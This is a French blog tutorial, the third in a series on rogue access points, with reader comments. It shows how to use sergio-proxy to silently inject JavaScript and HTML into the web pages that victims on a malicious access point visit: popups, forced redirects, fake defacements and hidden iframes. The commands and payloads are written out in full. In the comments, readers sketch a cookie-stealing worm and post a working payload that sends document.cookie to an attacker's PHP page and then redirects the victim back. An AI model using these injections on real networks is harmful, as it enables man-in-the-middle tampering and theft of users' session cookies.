[Tuto] Rogue AP – Episode 3 : Injection de code

On va poursuivre cette série d’articles (Épisode 1, Épisode 2) consacrés à sergio-proxy en abordant une de ses fonctionnalités les plus intéressantes : l’injection silencieuse de code dans les pages web visitées par le client. Premier avril oblige, c’est l’heure de se faire des petites blagues entre amis 😉

Cert article sera plus court que les précédents (ou pas) pour une raison simple : aussi bien le HTML que le Javascript, c’est vraiment pas mon truc. Donc je me contenterai d’exemples simples (voire simplistes) mais les connaisseurs devineront sans mal tout le potentiel de cet outil 🙂

L’injection peut se faire sous 2 formes : soit un script javascript, soit carrément un fichier HTML. Je vais aborder ces deux possibilités ici, voyons d’abord les options d’injection de sergio-proxy :

Inject:
Inject arbitrary content into encountered HTML files.

--inject              Load plugin Inject
--js-url JS_URL       Location of your (presumably) malicious Javascript.
--html-url HTML_URL   Location of your (presumably) malicious HTML.
                      Injected via hidden iframe.
--html-payload HTML_PAYLOAD   String you would like to inject.
--html-file HTML_FILE      File containing code you would like to inject.
--match-str MATCH_STR      String you would like to match and place your payload
                           before. (</body> by default)
--per-domain               Inject once per domain per client.
--rate-limit RATE_LIMIT    Inject once every RATE_LIMIT seconds per client.
--count-limit COUNT_LIMIT  Inject only COUNT_LIMIT times per client.
--preserve-cache      Don't kill the server/client caching.

La première option (–inject) est obligatoire, les suivantes dépendent de ce que vous voulez faire. Par défaut, le code est inséré juste avant la balise </body>, donc tout en bas de la page. Ca peut être changé via l’option « –match-str » mais ce comportement aura des conséquences que nous verrons plus bas.

On note qu’il faut parfois fournir l’URL (donc « l’adresse internet ») des fichiers qu’on veut injecter, pour ne pas devoir les stocker en externe on démarre le serveur web sur BackTrack5 :

/etc/init.d/apache2 start
# Les fichiers web devront se trouver dans /var/www/

Premier exemple très simple : une popup Javascript. Comme le code est court, on peut le taper directement dans la ligne de commande via l’option « –html-payload »

cd /pentest/web/sergio-proxy/
./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --html-payload "<script>alert(\"Souriez, vous êtes piratés :-)\"):</script>"
# Notez que les guillemets intérieurs ont été "échappés" avec un backslash \

Pour des scripts plus complexes, il vaut mieux les écrire dans un fichier externe qu’on placera dans /var/www/. Par exemple, le contenu de /var/www/popup.js

setTimeout(function() {
    alert("T'as un antivirus et t'es piraté, allo quoi !")
    },5000);

Cette commande affiche la popup, mais seulement après 5 secondes (5000 millisecondes). Veillez à ne pas prendre un délai trop élevé sinon la cible changera de page avant d’avoir vu le message. Pour utiliser ce fichier, on tape :

cd /pentest/web/sergio-proxy # Bon, c'est la dernière fois que je le tape lui
./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --js-url http://192.168.2.1/popup.js --rate-limit 10 --match-str "</head>"

Vous noterez que j’ai subtilement inséré deux nouvelles options : « –rate-limit » pour n’injecter le code que toutes les 10 secondes (sinon ça devient vite énervant), et « –match-str » pour injecter le code juste avant </head> (c’est-à-dire à la fin de l’en-tête) pour charger le code plus tôt.

Autre exemple, une petite redirection subtile vers une page de notre choix. Voici mon fichier /var/www/redirect.js :

window.setTimeout(function(){
    <!--
    window.location = "http://www.google.fr/"
    //-->
    },3000);

N’importe quel site sera redirigé vers google.fr toutes les 3 secondes, notez qu’il vaut mieux utiliser ici l’option « –per-domain » pour n’injecter qu’une seule fois le code par nom de domaine, sinon google.fr va rediriger sur google.fr qui lui même va rediriger vers… Bref, vous avez compris. Je suis d’accord avec ceux du fond qui pensent qu’il y a des redirections beaucoup plus drôles à faire comme ça (oui, le pr0n, on pensait bien à la même chose) 🙂 La commande qui va bien :

./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --js-url http://192.168.2.1/redirect.js --rate-limit 10 --per-domain"

Bien. Les gourous du javascript auront compris toute la puissance de sergio-proxy (n’hésitez pas à partager vos exemples amusants en commentaires), passons au deuxième volet, l’injection de HTTP. Celle-ci peut prendre deux formes : injection de code directement dans la page (comme avec –http-payload), ou ajout d’une iframe cachée = un cadre invisible). Voyons la première technique, en créant un fichier /var/www/image.html

<html>
  <body>
    <p align="center">
      <img alt="Jolly Roger" src="http://www.infoescola.com/wp-content/uploads/2012/08/bandeira-pirata-jolly-rogers.gif" width="640" height="480">
    </p>
    <p style="text-align:center;">
      Ce site est sous notre contrôle ! Craignez-nous !
    </p>
  </body>
</html>

En gros, on insère une image centrée du Jolly Roger, avec le message « Ce site est sus notre contrôle ! craignez-nous ! ». En fait ça pourrait aisément faire penser à la cible que c’est le site original qui a été défacé (la classe !), d’autres scénarios feront plus penser à une infection locale, soyez créatifs ! On injecte ce code comme ceci :

./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --html-file /var/www/image.html --match-str "</head>"

C’est ici qu’apparaît la limitation du placement du code avant la « –match-str ». Par défaut, le code est inséré juste avant la fin de la page (</body>), donc il faudrait que la cible scrolle jusque tout en bas pour voir notre image. En matchant sur </head> j’insère l’image entre l’en-tête et le corps de page, ce qui est une pratique dégueulasse qui donne souvent des résultats assez moches, mais j’ai pas trouvé mieux. Je rappelle que je ne suis pas dév’ web et que mes connaissances sont limitées 😉

Bon, dernier exemple, l’insertion d’une iframe cachée. Ca vous dit un bon vieux rick-roll invisible et imparable ? 😀 C’est parti ! On crée d’abord le fichier /var/www/rickroll.html :

<html>
  <body>
    <br /><a href="http://www.dailymotion.com/video/xeztvl_rick-astley-never-gonna-give-you-up_music" target="_blank">Rick Astley - Never Gonna Give You Up</a> <i>par <a href="http://www.dailymotion.com/davidkennyofficial" target="_blank">davidkennyofficial</a></i>
  </body>
</html>

J’utilise le player embarqué de Dailymotion parce que celui de Youtube ne permet pas l’exécution en iframe cachée : il y a eu trop de cas de « fraude à la vue » avec ça (des victimes infectées « affichent » des vidéos dans des iframes cachées pour booster les compteurs de vue). Il paraît qu’il existe des API pour utiliser celui de Youtube quand même, mais j’avais pas le courage de me battre avec ça… Pour utiliser ce code, ça se passe comme ceci :

./sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --inject --html-url http://192.168.2.1/rockroll.html --rate-limit 5

Et hop, un Rickroll impossible à éviter, à moins de changer de page (sauf que le code va se charger sur l’autre page aussi). Oui, il y a de quoi rendre fou. Oui, je suis un sadique, mais j’assume 😛
Vous noterez que cette fois on utilise l’option « –html-url » et plus « –html-file ». Même si en pratique pour nous ça ne change rien (le fichier est toujours stocké localement), la première option charge le code dans une iframe cachée tandis que la deuxième insère juste le code dans la page (la vidéo ne serait pas invisible, dans notre cas). J’utilise également une option –rate-limit pour ne charger le code que toutes les 3 secondes : ça laisse le temps aux liens externes (pubs,…) de se charger sans se faire infecter, sinon la vidéo est chargée 3-4 fois en parallèle et c’est encore plus atroce à écouter 😀

Bon, je crois qu’avec ça vous avez une bonne base, de quoi injecter vos petits javascripts rigolos ou forcer vos victimes à « visionner » des pubs sans le (sa)voir. J’attends vos suggestions d’injection en commentaires, surtout si vous êtes meilleur que moi en Javascript/HTML (et c’est pas dur :P).

Pour une fois il n’y aura pas de petit script récapitulatif, parce que maintenant vous êtes assez grands pour le faire vous-mêmes ! Plus sérieusement, ça n’a pas beaucoup d’intérêt ici et je sens que WordPress va me gonfler sévère avec ses « mots interdits ». Donc vous ferez vos copier-coller tous seuls pendant que moi j’me repose ! C’est vrai quoi, c’est toujours les mêmes qui bossent ici !

Advertisements
Cet article a été publié dans rogue-ap, tuto. Ajoutez ce permalien à vos favoris.

9 commentaires pour [Tuto] Rogue AP – Episode 3 : Injection de code

  1. Hugo dit :

    Très intéressant, je vais essayer de réfléchir à un javascript bien tordu ! On pourrait même tenter de récupérer les valeurs de tous les champs cachés de la page (y’a toujours des infos intéressantes). Y’a de bonnes pistes de réflexions à partir de là 🙂

  2. Hugo dit :

    Le site que tu as mis en lien vient de finir dans mes favoris, plein de choses intéressantes dessus ! 🙂
    Par contre, j’ai regardé la config de ton serveur udhcpc (ep. 1) et je ne comprends pas pourquoi l’adresse de ton serveur locale est celle de ton interface at0 , c’est à dire 192.168.2.1 !
    Moi je regarde quelle adresse m’a été donné par mon routeur branché sur l’interface eth0, et j’ai l’adresse 192.168.0.17. Pas la gateway de ma config …

    • antares145 dit :

      Tout simplement parce que tout se fait « en local ». Essaie d’imaginer la machine d’attaque comme un routeur, avec une adresse IP interne et externe. Dans ton cas, 192.168.0.17 est l’adresse « externe » (même si elle est interne à un autre LAN, ça on s’en fout). Tout ce que ton client voit et a besoin de savoir, c’est que sa passerelle a lui c’est 192.168.2.1 (adresse interne, sur son LAN) ; après, ce qu’il y a derrière n’a aucune importance, ça peut être un autre LAN, une adresse publique, un VPN ou un pigeon voyageur, ça ne change rien tant que le routage est bien configuré 🙂

      Techniquement, je pense que ça fonctionnerait si tu utilisais l’adresse « externe » pour le serveur, mais je préfère garder les réseaux cloisonnés 😉

  3. Koala dit :

    Après quelques réflexions et ayant quelques conaissance en php/java voila ce qui est a mon avis possible en combinant sergio et le tuto de Fuji:

    -1 laisser une faille XSS permanente sur le site dont on s’arrangera pour rediriger silencieusement la victime vers un script java ou php de notre choix qui récupère ses cookies son ip etc.Faire un bel url encodé de façon a ce que ça ne soit pas trop visible et utiliser une redirection a la fin histoire qu’elle ne se doute de rien.On peu aussi la rediriger sur un autre site faillible XSS ou CRSF toujours sans qu’elle ne se rende compte de rien et lui faire faire nos petites courses 😀

    -2 Piéger la victime et la forcer a télécharger un fichier PDF malicieux ou un plugin flash ou truc dans le genre dont on sait qu’il est foireux

    -3 Injecter directement un trojan via le navigateur (plus difficile je l’accorde mais a voir) et récupérer des informations

    -4 La partie qui me plais le plus mais la plus hard aussi 😀 fabriquer un ver pouvant s’injecter avec sergio de façon a ce qu’il se pro créer tout seul et nous renvoi des informations via une page resultat.php qu’on aura stocké également sur notre serveur.Si on réfléchi bien une multitude de chose et possible en faite surtout si on aide sergio a injecter son code en laissant une faille quelque part… a ce moment la ça ressemblerai a ça (je met pas les balises html et java entière pour éviter de me faire jeter par wordpress:

    html
    head
    //script malicieux qui redirige sur une image ou récupère des infos et envoi sur un autre site faillible utilisant le cookie ou l’id de la victime pour en faire ce qu’on en veut (avoir le mot de passe de la victime en l’envoyant sur l’autre site en question dans ce cas la n’est pas indispensable c’est la toute la technique).Exemple rapide mais j’espère que vous saisirez la capaité de ce truc.//

    function loaded() {step++; ver(); } //permet au script d’etre autonome a chaque nouvelle url chargé, loaded() doit bien etre déclarer aussi dans l’iframe//
    function ver()
    if step 1 2 3 etc… on déclare ce qu’on veut faire avec le cookie ou l’id de la victime, evidement ça dépend de la faille du site ou on veut l’envoyer//on peut appeller aussi d’autres scripts php si besoin a partir ce bout de code//
    fin du script
    head
    body
    iframe id= »i » onload= »loaded() » style= »display:none »
    fin de l’iframe
    body
    html

    En extra si le site ou l’on redirige la victime autorise la creation d’applications ou un stockage de fichier on peut y deposer du code cacher derrière un fichier bidon a condition de réussir bypasser l’upload mais la n’est pas le sujet.

    Pour moi je vois l’utilisation de sergio avec une faille laisser la exprès comme une sorte de botnet social, ça peut dépasser largement le simple sniffing en s’y prenant vraiment bien a mon avis mais va falloir re-bucher le java et php 😦

    Bref si des idées vous passent par la tete mettons les en communs aussi ! 🙂

  4. eric dit :

    Excelent, tu manque pas d’idée sur les commentaires « allo quoi ! ». A la lecture de tes articles je me dit que t’est vraiment un grand malade !
    Sans trop être créatif j’aurais injecté une bonne vieille redirection avec en param document.COOKIE vers un site qui ré envoi vers le site original après, juste histoire de pouvoir dans certains cas les réutiliser à l’inssu de l’user mais c’est claire que les possibilités sont déjà à ce stade très vastes voir infinie.

    Merci.

    • antares145 dit :

      Si t’as l’occasion d’essayer et de me (nous) dire ce que ça donne, c’est le genre d’attaque qui m’intéresse ! 🙂

      • eric dit :

        Dans l’idée, c’était de récupérer les cookies enregistrés sur le DD, lorsqu’on clique sur « se souvenir des informations de connexion ». Option qui permet à l’user de ne pas re saisir son login / mot de passe en pré remplissant les champs du formulaire.

        Cette fonctionnalité semble être de moins en moins courrante (du moin avec ce fonctionnement) peut être au profit des navigateurs qui gèrent ça nativement ..

        Ca doit encore marché sur certains sites, à condition que l’utilisateur et le site jouent avec les cookies coté client mais pour avoir fait quelques tests aujourd’hui (plusieurs année après la découverte de cette astuce) c’est pas terrible.

        J’ai fais un test simple :
        lancement de Sergio avec en param
        –inject –html-payload « window.location=’http://localhost/test.php?cook=’+document.cookie; »

        sur la page test.php
        écriture de $_GET dans un fichier
        redirection vers $_SERVER[‘HTTP_REFERER’] afin de revenir au site initial.

        J’ai pas retrouvé de sites avec cette fameuse option « se souvenir de moi » qui permet de pré remplir les champs login et mot de passe automatiquement ou p-e mon navigateur déconne. J’ai tester sur developpezDotnet mais l’option n’a pas fonctionné. (connexion avec « se souvenir de moi » => déconnection => les informations de connexions ne sont pas concervé et les champs login / mdp sont blanc ( donc test KO .. )

        En revanche, j’ai fais ce test principalement pour recup les cookie userId & password, test KO pour ce coup, mais les autres cookies sont bien visibles, donc on peut quand même récup un certains d’informations.

        Dans la mesure ou nous sommes en MITM naturel ou non c’est clair que ce sera pas aussi puissant que de piocher dans les entêtes capturés.

  5. eric dit :

    (oublie des & dans les options sergio proxy 😦 )

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s